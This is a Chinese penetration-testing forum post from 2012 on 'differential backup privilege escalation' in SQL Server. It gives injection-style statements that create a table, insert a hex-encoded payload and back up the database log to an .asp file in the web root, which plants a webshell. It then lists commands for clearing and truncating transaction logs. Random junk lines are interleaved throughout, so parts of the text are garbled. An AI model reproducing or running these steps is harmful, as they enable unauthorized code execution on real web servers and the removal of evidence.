中国网络渗透测试联盟
标题:
差异备份提权
[打印本页]
作者:
admin
时间:
2012-9-15 14:38
标题:
差异备份提权
select * from master.dbo.sysdatabases 列出所有列的记录
# c/ A8 B5 i. Y: `) R. z
+ ]# Q3 v! `" Q
select name from master.dbo.sysdatabases 仅列出name列的记录
# e7 b1 u) N6 J( K5 r
4 ]& C# |+ G: |9 w" @% R$ I- W0 s
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
) x8 ^- U# v9 B% @4 T8 n
1 p# {* M; T# x4 E6 D
alter database 数据库名 set RECOVERY FULL--
7 s0 A8 F7 |+ E! p: @9 M
9 s; u. L+ n4 B, u9 R
create table cmd (a image)-- \**cmd是创建的临时表
7 f' \8 ?) J& {* V
5 m0 T8 A# c4 U6 c. P2 `' C
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
4 O! k1 r5 Z2 ^4 \: Y- s
2 Z5 [' C4 x" c( u& x
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
8 @+ n3 C4 S' T& a; Z
+ z' ?0 y' u0 A( {2 m
//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
\1 } g7 ]1 w
- F$ B% x" o- g6 R& U. J9 ?
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
4 o1 p' e3 w! _9 I; p- d
- j4 u# F& J* Q; G4 t+ @, T, o: z8 e
drop table cmd--
% }; t0 X6 b; Z* a5 \' [3 W
$ w; X5 X4 A9 v, N9 I
# w. r U/ V5 N6 ?! J5 o) A
f:\
' Z+ c: {0 F3 N+ ]# U0 d
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
m9 q, ~4 O; U1 ~& m
: V P0 J' C9 l$ Z- U0 U' w
最好多加几个回车0d0a,要不会出错哈
- U+ ~8 o. p: F1 y
3 t7 M2 y2 ~) A- @$ P; I
# \+ `: ~8 x# i7 O( a2 L* a* W
SQL Server日志清空方法
! {6 s q7 U6 Q% q6 S1 N& U
$ [$ k6 D5 Y! z" P( z' O
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名
0 L/ v$ J3 G4 S" M: s# H
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
7 T" \: J, L- i
; }' g; g4 F% X, P" i3 R
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
" s% T! j% I+ b1 Z. J- b
* L; Y1 y# l9 O u
3.收缩数据库:DBCC SHRINKDATABASE(databasename)
4 H$ a' A- h! ?6 l
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2